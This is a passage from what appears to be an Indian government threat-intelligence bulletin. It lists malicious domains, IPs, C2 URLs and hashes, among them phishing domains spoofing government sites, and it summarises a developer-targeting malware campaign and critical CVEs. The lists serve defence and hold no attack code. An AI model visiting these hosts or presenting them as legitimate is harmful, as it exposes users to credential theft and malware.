\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

chem-db.com

vnfll22.keeploong.com

se2.ggseocdn.com

se2.ggseocdn2.com

www.xxxx.vip

js.targetedtrafficcrew.com

all.targetedtrafficcrew.com

ll.olacityviet.com

798.toptopkm88.com

site.toptopkm88.com

link.toptoplm88.com

www.m2313.com

br.zmdesf.cn

br.ruicaisiwang.com

tz123.app

www.xiagao886.com

js.cloudflare.cyou

newth.googlecache.cc

newthmap.googlecache.cc

phpmap.googlecache.cc

vn6789sky.com

wailian.vn6789sky.com

sitemap.bet277.vip

sitemap1.bet277.vip

brcknkblue.com

wailian.brcknkblue.com

eglotanygfa.vip

wailian.eglotanygfa.vip

yyds.tmpdrsh.com

proxy.xxxx.com

tdk.798love.com

spider.xxxx.com

jumpsexxx.com

www.jumpiis8.com

six2fc.com

yitongmingde.com

qiqiguaiguai2.xyz

jsc.olacityviet.com

jsc.bet277.vip

lucky.668823.com

bb.vdfskis888.com

link.vdfskis888.com

ldy.vdfskis888.com

th.ntxx.cn

topck008.com

link.topck008.com

googleseo.life

bryyds.com

dk8.zone

dk8.land

668th.com

js.officefonts-clo.com

aafd.tv

vg9920.store

vn.coronavg99.com

coronavg99.xyz

s995.vip

zavinac.net

wailian.zavinac.net

89vq.me

tdkgpt.yyds6686.com

html.aafd.tv

**IP Address:**

185.106.178.76

38.207.248.230

154.7.64.81

156.229.134.13

45.120.81.62

**File Location:**

C:\\ProgramData\\Microsoft\\DRM\\\*

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-TAG-2025-02-14-004**

It has been observed that PurpleBravo threat group primarily targets software developers in the cryptocurrency industry. The campaign utilizes malware such as BeaverTail, InvisibleFerret, and OtterCookie.

The threat actor disseminates job advertisements across at least three hiring platforms, as well as on Telegram and GitHub, while leveraging Astrill VPN to manage its Command and Control (C2) infrastructure.

* BeaverTail is an information-stealing malware family initially distributed through NPM packages as a JavaScript payload before evolving into executables and downloaders targeting both Windows and macOS environments. It is used to collect cryptocurrency wallet data and browser information.
* InvisibleFerret is a set of post-compromise payloads functioning collectively as a backdoor within victim environments. It facilitates data theft, system fingerprinting, and utilizes legitimate protocols and software for communication.
* OtterCookie is a post-compromise malware family that operates as a backdoor, establishing C2 connectivity and executing shell commands received from C2 servers.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

147.124.214.237

67.203.7.163

147.124.214.129

147.124.214.131

23.106.70.154

147.124.197.138

66.235.168.232

45.43.11.201

38.92.47.85

165.140.86.227

38.92.47.151

38.92.47.91

66.235.168.238

86.104.74.51

147.124.197.149

154.205.155.71

67.203.7.205

147.124.212.125

45.59.163.56

66.235.175.109

67.203.7.200

103.15.29.45

202.53.148.16

180.235.135.180

202.53.148.32

180.235.135.184

103.51.141.153

103.51.141.152

**Hashes:**

4e0034e2bd5a30db795b73991ab659bda6781af2a52297ad61cae8e14bf05f79

7846a0a0aa90871f0503c430cc03488194ea7840196b3f7c9404e0a536dbb15e

0621d37818c35e2557fdd8a729e50ea662ba518df8ca61a44cc3add5c6deb3cd

d5c0b89e1dfbe9f5e5b2c3f745af895a36adf772f0b72a22052ae6dfa045cea6

07183a60ebcb02546c53e82d92da3ddcf447d7a1438496c4437ec06b4d9eb287

10f86be3e564f2e463e45420eb5f9fbdb14f7427eac665cd9cc7901efbc4cc59

cde5afd20b7bb5c9457b68e02c13094125025fb974df425020361303dc6fcdfc

d0a5b9dc988834cc930624661e6e7dd1943d480d75594fff0f4bc39d229c5999

8de446957ce96826628c88da9fd4e7ff9d6327d8004afc4e9e86d59e7d6948dc

**DOMAINS:**

pengzhoutrading.com

xiwangtechltd.com

wuxiantechltd.com

diditechltd.com

deepsealuc.com

hisolution.io

hi-devs.com

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-02-14-012**

It has been observed that numerous phishing domains/sub-domains have been registered by cyber threat actors. These domains intend to target personnel belonging to the government, defence, central investigating agencies and the judiciary.

Please find below malicious domains that are targeting Critical Sector Entities (CIIs).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

portal2.passportindia.gov.inq.srmcheck.me

\*.inq.srmcheck.me

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2025-02-14-006**

**Vulnerability in WP Directorybox Manager plugin for WordPress**

An authentication bypass vulnerability has been discovered in the WP Directorybox Manager plugin for WordPress. The affected versions are all versions of WP Directorybox Manager plugin up to, and including, 2.5.

CVE: CVE-2024-13182 (Critical)

**Vulnerability in Campress theme for WordPress**

The arbitrary file execution vulnerability has been discovered in the Campress theme for WordPress. The affected versions are the Campress theme, all versions up to, and including, 1.35.

CVE: CVE-2024-10763 (Critical)

**Vulnerability in WP Job Board Pro plugin for WordPress**

A privilege escalation vulnerability has been discovered in the WP Job Board Pro plugin for WordPress. The affected versions are WP Job Board Pro plugin, all versions up to, and including, 1.2.76.

CVE: CVE-2024-12213 (Critical)

**Vulnerability in Brizy – Page Builder plugin for WordPress**

An arbitrary file upload vulnerability has been discovered in the Brizy – Page Builder plugin for WordPress. The affected versions are Brizy – Page Builder plugin, all versions up to, and including, 2.6.4.

CVE: CVE-2024-10960 (Critical)

**Security Updates for Microsoft HPC Pack**

Microsoft has released security updates to resolve the Remote Code Execution (RCE) vulnerability in the High Performance Compute (HPC) Pack. The affected products are Microsoft HPC Pack 2016 & Microsoft HPC Pack 2019.

CVE: CVE-2025-21198 (Critical)

**Adobe Security Updates**

Adobe has released security updates to address multiple vulnerabilities in Adobe software products. An attacker can exploit these vulnerabilities to take control of an affected system.

CVE ID: CVE-2025-24434 (Critical)

**Security Updates for WordPress Real Estate 7 WordPress theme Plugin**

WordPress has released security updates to resolve privilege escalation vulnerability in the Real Estate 7 WordPress theme Plugin. The affected versions are Real Estate 7 WordPress theme Plugin, all versions up to and including 3.5.1.

CVE ID: CVE-2024-13421 (Critical)

**Vulnerability in WP Foodbakery plugin**

A privilege escalation vulnerability has been discovered in WP Foodbakery plugin for WordPress. The affected versions are WP Foodbakery plugin all versions up to and including 4.7.

CVE ID: CVE-2025-0181(Critical)

**Vulnerability in WP Foodbakery plugin**

A privilege escalation vulnerability has been discovered in WP Foodbakery plugin for WordPress. The affected versions are WP Foodbakery plugin all versions up to and including 3.3.

CVE ID: CVE-2025-0180(Critical)

**Vulnerability in Zaytech Smart Online Order for Clover**

A missing authorization vulnerability has been discovered in the Zaytech Smart Online Order for Clover. The affected versions are Smart Online Order for Clover from n/a through 1.5.6.

CVE ID: CVE-2024-43253 (Critical)

**Vulnerability in WP Foodbakery plugin**

An arbitrary file uploads vulnerability due to insufficient file type validation has been discovered in the WP Foodbakery plugin for WordPress. The affected versions are WP Foodbakery plugin up to and including, 4.7.

CVE ID: CVE-2024-13011 (Critical)

**Vulnerability in Ruijie**

A vulnerability has been discovered in Ruijie that allows to gain privileges via the system/config\_menu.htm. The affected version is Ruijie RG-NBS2009G-P RGOS v.10.4(1)P2 Release(9736).

CVE ID: CVE-2024-24116 (Critical)

**Vulnerability in Apache**

A SQL injection vulnerability has been discovered in Apache Superset. The affected versions are Apache Superset before 4.0.2. Security updates are available.

CVE ID: CVE-2024-39887 (Critical)

**Vulnerability in SolarWinds Access Rights Manager**

A hard-coded credential authentication bypass vulnerability has been discovered in SolarWinds Access Rights Manager.

CVE ID: CVE-2024-23473 (Critical)

**Veeam Security Updates**

Veeam has released security updates to resolve a vulnerability in the Veeam Updater component that allows Man-in-the-Middle attack to execute arbitrary code on the affected appliance server with root-level permissions.

CVE ID: CVE-2025-23114 (Critical)

1. **TA-PHI-2025-02-17-013**

It has been observed that government personnel have received phishing emails from spoofed / compromised email IDs and malicious domain. The email contains a hyperlink "https://email-govs.icu/",  with title "https[://]email.gov.in/verfiy.

      These URL and IP addresses are malicious and currently active to potentially compromise the user credentials/propagate malware payload. It is advised not to click any URL link from an unknown sender(s).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**URL:**

https://email-govs.icu/

**IP:**

104.3.21.143

**Domain:**

email-govs.icu

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MI-2025-02-17-004**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

116.106.127.169

183.6.112.61

188.124.156.248

221.207.6.204

37.202.154.67

49.142.208.117

120.85.115.215

119.86.161.202

77.239.211.182

122.97.138.49

166.166.118.218

59.92.163.236

61.245.190.220

187.62.204.214

111.85.176.250

27.71.165.158

2.185.144.107

183.250.246.172

27.43.206.175

112.94.97.227

14.155.211.36

94.183.134.17

58.61.246.191

68.144.250.130

196.251.115.173

118.118.58.123

221.178.193.176

27.122.61.219

93.182.71.36

177.101.46.146

117.235.53.188

185.91.149.45

183.130.170.137

120.85.184.57

79.130.51.33

211.143.108.124

118.250.44.63

185.93.89.118

112.94.96.163

120.85.115.89

39.172.49.51

183.94.96.49

39.170.11.56

103.15.254.104

77.229.242.182

103.15.254.239

58.51.240.235

120.86.254.183

204.76.203.18

31.42.11.99

60.10.17.34

113.220.21.202

124.165.113.162

89.40.246.24

108.30.250.126

139.170.229.125

60.172.61.13

125.24.190.137

27.43.206.246

36.153.235.246

120.85.117.121

221.238.180.106

118.239.13.82

120.85.116.179

27.43.206.244

188.127.165.95

14.195.168.74

189.234.138.60

183.129.247.246

81.0.10.173

115.126.38.162

77.239.222.134

151.45.185.16

218.77.110.21

2.40.12.202

221.207.25.66

223.149.39.78

87.15.36.161

69.88.35.26

218.205.201.54

186.31.13.90

101.69.248.251

193.239.147.201

182.148.182.9

213.114.105.74

80.91.90.47

79.42.218.75

201.201.155.58

178.72.71.250

5.255.115.56

177.66.187.149

112.94.98.98

103.200.86.138

120.85.183.73

139.5.1.107

180.101.109.54

94.59.203.86

50.52.120.86

45.91.238.180

117.219.136.128

68.9.31.120

193.74.146.232

117.235.59.34

27.43.204.106

183.14.91.82

151.78.233.214

139.5.10.232

94.156.177.109

117.177.41.161

27.43.204.211

31.170.22.205

27.43.206.21

103.200.86.146

124.220.1.9

221.219.98.84

196.221.18.180

223.75.149.110

185.91.149.56

193.47.61.47

121.122.83.130

45.164.177.23

119.55.169.75

66.96.199.221

59.0.127.83

120.85.116.182

60.26.60.9

144.172.97.186

117.201.151.8

192.227.196.181

**URLs:-**

http://117.201.182.117:55778/

http://117.209.89.115:39799/

http://117.235.36.167:50656/

http://112.64.155.152:37367/

http://116.101.91.48:49554/

http://102.33.8.223:35474/

http://103.199.180.229:58667/

http://125.65.144.192:35034/

http://45.164.177.230:11984/

http://27.215.178.73:41755/

http://45.164.177.208:11640/

http://116.139.185.116:33655/

http://117.235.120.61:45270/

http://78.72.230.167:39950/

http://222.142.245.29:43813/

http://59.93.89.128:47737/

http://123.175.52.88:54596/

http://117.215.51.144:43566/

http://181.197.49.188:53680/

http://45.230.66.55:11201/

http://182.112.79.215:53718/

http://180.105.106.236:46475/

http://175.107.2.104:47956/

http://45.230.66.37:10395/

http://84.214.174.112:41408/

http://103.207.125.244:54912/

http://103.175.180.73:55383/

http://103.207.124.203:51804/

http://182.121.66.129:47697/

http://117.209.84.82:54699/

http://27.215.140.183:48404/

http://182.121.248.142:56583/

http://77.50.177.112:37367/

http://117.205.172.112:44177/

http://202.9.122.157:57848/

http://139.5.0.123:54437/

http://117.251.187.75:37359/

http://59.89.8.215:33585/

http://60.23.235.246:51015/

http://115.50.222.140:40259/

http://117.199.20.114:37608/

http://179.87.44.242:55398/

http://202.66.165.132:39873/

http://223.8.209.54:44370/

http://125.43.32.10:58788/

http://103.199.180.60:51920/

http://45.178.251.246:10309/

http://45.164.177.149:10211/

http://59.99.129.71:55779/

http://59.97.176.212:45811/

http://103.207.124.65:38218/

http://59.97.183.237:35147/

http://180.115.166.219:57180/

http://117.215.63.129:36803/

http://45.164.177.220:11431/

http://182.121.10.169:51753/

http://77.247.88.68:40757/

http://103.199.180.105:33599/

http://103.208.105.120:53328/

http://175.107.1.162:45922/

http://103.98.38.142:38518/

http://103.208.231.184:48634/

http://179.108.90.26:32822/

http://45.164.177.65:10876/

http://63.142.81.167:48503/

http://117.235.45.117:58180/

http://221.15.29.203:48811/

http://45.164.177.253:10241/

http://103.210.101.213:46810/

http://118.251.20.226:60186/

http://45.115.89.28:60151/

http://115.53.223.17:36412/

http://45.164.177.126:11999/

http://117.205.96.125:60036/

http://103.98.38.108:57628/

http://45.178.250.128:10399/

http://59.99.210.9:55619/

http://117.205.175.205:52697/

http://113.24.129.149:45404/

http://117.245.8.154:35526/

http://120.61.245.155:55491/

http://113.26.171.243:45855/

http://117.242.75.184:39669/

http://182.114.49.52:42644/

http://139.5.1.248:56812/

http://117.223.41.34:50125/

http://117.254.100.212:34896/

http://223.13.60.214:57561/

http://117.242.198.2:40831/

http://103.203.72.37:32987/

http://59.95.94.206:48123/

http://119.178.164.44:37116/

http://117.209.92.60:49370/

http://61.3.105.102:47444/

http://117.208.164.163:42326/

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-02-17-014**

It has been observed that adversaries are targeting government / defence personnel using spoofed / compromised email IDs, malicious domains, Phishing web pages and Vishing techniques.

Please find below phishing domains found in Indian Cyberspace.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

crsorgi.gov.in.web.index.dobview.in

dc-crsargi-gov.in.net

25.crsorgi.gov.in.apiser.info

gov.in.worksirf.xyz

gov.in.viewcertificate.xyz

dc.crsorgi.gov.in.viesx.site

gov.in.viewcertify.xyz

gov.in.viesx.site

crsorgi.gov.in.viesx.site

gov.in.web.verfiy.xyz

verifycertificate.crsorgi.gov.in.crs.vearify.site

crsorgi.gov.in.crs.vearify.site

dc.crsorgi.gov.in.web.index.auths.uclservice.org

crsorgi.gov.in.svlprint.site

dc.crsorgi.gov.in.index.ds.suvidhaprint.site

gov.in.svlprint.site

gov.in.index.ds.suvidhaprint.site

crsorgi.gov.in.index.ds.suvidhaprint.site

gov.in.printsportal.xyz

crsorgi.gov.in.printsportal.xyz

crsorgi.gov.in.m.ogri.in

gov.in.orjinaal.site

gov.in.m.ogri.in

crsorgi.gov.in.orjinaal.site

gov.in.oneepson.xyz

gov.in.onlineuclshop.xyz

dc.crsorgi.gov.in.m.ogri.in

crsorgi.gov.in.onlineuclshop.xyz

gov.in.lnde.xyz

gov.in.imgpdf.xyz

gov.in.indexview.xyz

gov.in.web.in.awsgust.xyz

gov.in.indiandefenceforces.link

crsorgoi.gov.in.cxrsmm.site

gov.in.defenceindia.link

crsorgi.gov.in.crsbestvery.site

gov.in.crsbestvery.site

dc.crsorgi.gov.in.crsbestvery.site

crsorgi.gov.in.cstelecom.xyz

gov.in.cstelecom.xyz

gov.in.admin-mcas-df.ms

amssdelhi.gov.in.admin-mcas-df.ms

crsorgi.gov.in.api1.ltd

dc.crsorgi.gov.in.api1.ltd

gov.in.api1.ltd

dc.crsorgi.gov.in.dcbirth.in

keralaplusoneallotmentresult-gov.in

dc.crsorgi.gov.in.web.cloued.in

dc.crsorgi.gov.in.web.index.php.crs-web.site

crsorgi.gov.in.web.index.php.crs-web.site

dc.crsorgi.gov.in.web.verfiy.xyz

gov.in.publications.cc

25.gov.in.parichay.online

dc.crsorgi.gov.in.svlprint.site

crsorgi.gov.in.web.in.awsgust.xyz

dc.crsorgi.gov.in.coorv.xyz

crsorgi.gov.in.viecard.xyz

dc.crsorgi.gov.in.findtec.xyz

crsorgi.gov.in.uclchild.xyz

crsorgi.gov.in.indexview.xyz

dc.crsorgi.gov.in.oneepson.xyz

crsorgi.gov.in.viewdob.xyz

dc.crsorgi.gov.in.athu.world

crsorgi.gov.in.worksirf.xyz

crsorgi.gov.in.web.verfiy.xyz

crsorgi.gov.in.lnde.xyz

crsorgi.gov.in.viewcertificate.xyz

dc.crsorgi.gov.in.web.in.awsgust.xyz

dc.crsorgi.gov.in.web.e-prints.xyz

dc.crsorgi.gov.in.lnde.xyz

dc.crsorgi.gov.in.worksirf.xyz

dc.crsorgi.gov.in.indexview.xyz

dc.crsorgi.gov.in.viecard.xyz

dc.crsorgi.gov.in.viewcertify.xyz

dc.crsorgi.gov.in.crsor.xyz

crsorgi.gov.in.viewcertify.xyz

dc.crsorgi.gov.in.viewcertificate.xyz

crsorgi.gov.in.oneepson.xyz

dc.crsorgi.gov.in.uclchild.xyz

dc.crsorgi.gov.in.cstelecom.xyz

dc.crsorgi.gov.in.web.index.php.aothi.info

gov-in.cloud

25.crsorgi-gov-in.live

dc.crsorgi.gov.in.orgi.in

dc.crsorgi.gov.in.web.php.lndex.site

dc.crsorgi.gov.in.web.index.auths-org.shop

nrsec-gov-in.online

digitalindia-gov-in.zoom.us

solarpanel-gov-in.today

gov.in.web.index.php.auth.onlineconvetar.in

dc-csrorgi-gov-in.dcert.ink

gov.in.state.inoex.cloud

regularizacaocpf-gov.in.ua

indiaopost-gov-in.top

crsorgi.gov.in.web.index.viewcert.in

dc.crsorgi.gov.in.adverify.in

bnd.ndmc.gov.in.viewcrti.info

crsorgi.gov.in.web.lndex.click

dc.crsorgi.gov.in.dccertificate.in

dc.crsorgi.gov.in-crs.org

crsorgi.gov.in.verifycertificate.org

7.viewcert.org

38.crsogi-gov-in.website

16.crsogi-gov-in.website

crsogi-gov-in.website

dc.crsorgi.gov.in.web.birtviews.in

crsorgi.gov.in.web.index.auth.viewpdfcerti.in

dtcpass-delhi-gov-in-viewepass-passno-7504072396879.vercel.app

crsorgi.gov.in.index.orgi.live

dc.crsorgi.gov.in.verfy.in

mea.gov.in.staffrecords-2024ikpvh-tgcibpeqp.evasionvector.pt

dc.crsorgi.gov.in.viewcart.life

epunjabschool.gov.in.testednet.com

crb2024.apply-gov.in

gov-in.net

dc.crsorgi.gov.in.sindex.in

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MI-2025-02-17-005**

The presence of malicious IoCs has been found in Indian Cyberspace.

Please find below IOCs in this regard.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

179.61.132.173

40.77.167.154

179.61.132.173

198.74.56.135

18.117.133.186

40.83.128.23

13.52.81.47

179.43.169.162

34.96.45.248

34.96.44.222

34.96.47.57

34.96.45.131

179.43.169.162

40.94.89.37

40.114.242.79

54.183.11.150

92.118.39.244

34.96.47.20

34.96.45.32

34.96.46.232

34.96.44.184

104.224.66.1

54.67.120.212

40.77.167.62

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-02-19-016**

It has been observed that numerous phishing domains/sub-domains have been registered by cyber threat actors. These domains intend to target personnel belonging to the government, defence, central investigating agencies and the judiciary.

Please find below phishing domains found in Indian Cyberspace.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

gov.in.inedex.in

dc.crsorgi.gov.in.imgpdf.top

dc.crsrogi.gov.in.web-index.cloud

gov.in.inedex.in

sebi-gov.mohdatif.in

sebi.gov.in.mohdatif.in

sebi.gov.mohdatif.in

www.dc.crsorgi.gov.in.imgpdf.top

www.dc.crsrogi.gov.in.web-index.cloud

www.upi.imgpdf.top

\*.imgpdf.top

www.email.gov.in.departmentofdefenceindia.link

email.gov.in.departmentofdefenceindia.link

\*.departmentofdefenceindia.link

**\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***

1. **TA-MI-2025-02-19-006**

The presence of malicious IoCs has been found in Indian Cyberspace.

Please find below IOCs in this regard.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

138.68.181.92

157.245.164.150

35.216.139.120

164.90.231.253

209.85.167.47

164.90.231.69

143.110.148.147

138.197.156.54

31.57.159.126

104.21.64.1

104.21.96.1

104.21.16.1

104.21.48.1

45.130.83.88

45.92.229.135

45.130.83.93

45.130.83.102

45.92.229.133

45.92.229.113

45.130.83.96

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MI-2025-02-19-007**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IPs:

202.66.165.106

178.72.71.148

189.231.199.55

98.157.36.93

221.207.54.126

103.200.86.118

27.43.205.211

175.5.95.116

130.25.143.134

112.94.97.231

177.36.208.196

46.53.75.6

58.51.240.235

103.200.86.82

220.189.231.202

61.130.11.82

220.198.241.84

103.15.254.17

103.247.7.185

177.190.74.204

27.43.206.114

123.157.136.106

151.53.240.135

103.42.243.136

120.85.182.190

108.185.102.211

103.15.254.18

5.255.115.56

122.194.9.130

27.47.1.238

111.53.99.116

201.102.252.142

79.13.49.171

79.35.102.45

58.58.30.134

118.250.177.228

107.173.255.205

111.85.16.48

60.172.7.64

103.163.190.188

82.30.51.61

80.94.28.66

27.122.61.187

176.65.142.222

112.72.160.196

27.185.12.226

120.85.118.3

193.239.147.201

79.22.45.88

URLs:-

http://95.127.233.238:53111/

http://123.4.77.7:38795/

http://113.225.63.184:43467/

http://45.230.66.57:11337/

http://27.0.217.173:51674/

http://103.175.180.84:38388/

http://223.8.220.112:56564/

http://42.224.210.63:53855/

http://117.215.53.181:53595/

http://180.115.174.229:34676/

http://202.148.58.173:44419/

http://110.182.10.108:51534/

http://59.88.230.234:39062/

http://45.164.177.44:11310/

http://102.33.22.50:33972/

http://112.248.31.73:35915/

http://103.208.231.9:40340/

http://103.207.125.243:40737/

http://103.48.66.158:49503/

http://103.131.26.183:53656/

http://59.184.251.37:59113/

http://103.208.105.221:39702/

http://42.230.41.24:36272/

http://115.61.99.0:37823/

http://27.37.87.237:49003/

http://219.68.208.58:37243/

http://42.234.70.212:36579/

http://219.152.15.221:41345/

http://112.248.82.179:39840/

http://61.1.228.182:38844/

http://221.1.155.102:53497/

http://59.88.14.4:60311/

http://117.242.195.95:51311/

http://119.178.232.214:35419/

http://223.12.177.10:58520/

http://115.58.61.30:35986/

http://117.200.233.148:45969/

http://45.115.176.235:47581/

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TVA-2025-02-19-009**

Microsoft released updates to address multiple vulnerabilities in its products for the month of Feb 2025. However, Microsoft provides patch information in the form of Knowledge Base (KB) Articles that are associated with one or more CVEs.

Please find below link for the monthly CVE - KB Correlation list of Feb 2025 for your perusal and necessary action.

https://nciipc.gov.in/advisories/CVE/CVE-KB/2025/Feb.html

The list consists of 56 CVEs and their corresponding KBs for the month of Feb 2025.

1. **VA-2025-02-06-19-008**

**Vulnerability in Tenda**

A stack overflow vulnerability has been discovered in Tenda. The affected version is Tenda AC18 V15.03.05.19.

CVE ID: CVE-2024-57575 (Critical)

**Vulnerability in iDRAC9**

A session hijacking vulnerability has been discovered in IPMI for iDRAC9. The affected versions are iDRAC9, versions prior to 7.00.00.172 for 14th Generation and 7.10.50.00 for 15th and 16th Generations.

CVE ID: CVE-2024-25943 (Critical)

**Vulnerability in Microsoft Dataverse**

An untrusted search path vulnerability has been discovered in Microsoft Dataverse.

CVE ID: CVE-2024-35260 (Critical)

**Vulnerability in Eclipse Target Management**

A Remote Code Execution (RCE) vulnerability has been discovered in Eclipse Target Management: Terminal and Remote System Explorer (RSE). The affected versions are Eclipse Target Management: Terminal and Remote System Explorer (RSE) version 4.5.400 and below.

CVE ID: CVE-2024-0740 (Critical)

**Vulnerability in Metagauss RegistrationMagic**

A missing authorization vulnerability has been discovered in Metagauss RegistrationMagic. The affected versions are RegistrationMagic from n/a through 5.2.5.9.

CVE ID: CVE-2024-25935 (Critical)

**Vulnerability in sngrep**

A stack-buffer overflow vulnerability has been discovered in sngrep. All versions of sngrep since v1.4.1 are affected.

CVE ID: CVE-2024-3120 (Critical)

**Cisco Released Security Updates for Cisco Identity Services Engine**

Cisco has released security updates to address insecure Java deserialization and authorization bypass vulnerabilities in Cisco Identity Services Engine.

CVE ID: CVE-2025-20124 (Critical), CVE-2025-20125 (Critical)

**Vulnerability in IBM Security Verify Directory**

An arbitrary command execution vulnerability has been discovered in IBM Security Verify Directory. The affected versions are IBM Security Verify Directory 10.0.0 through 10.0.3.

CVE ID: CVE-2024-51450 (Critical)

**Vulnerability in OpenImageIO**

A heap overflow vulnerability has been discovered in OpenImageIO. The affected version is OpenImageIO v3.1.0.0dev.

CVE ID: CVE-2024-55192 (Critical)

**Vulnerability in Build App Online**

A PHP remote file inclusion vulnerability has been discovered in Build App Online. The affected versions are Build App Online from n/a through 1.0.23.

CVE ID: CVE-2024-49649 (Critical)

**Vulnerability in Cleo**

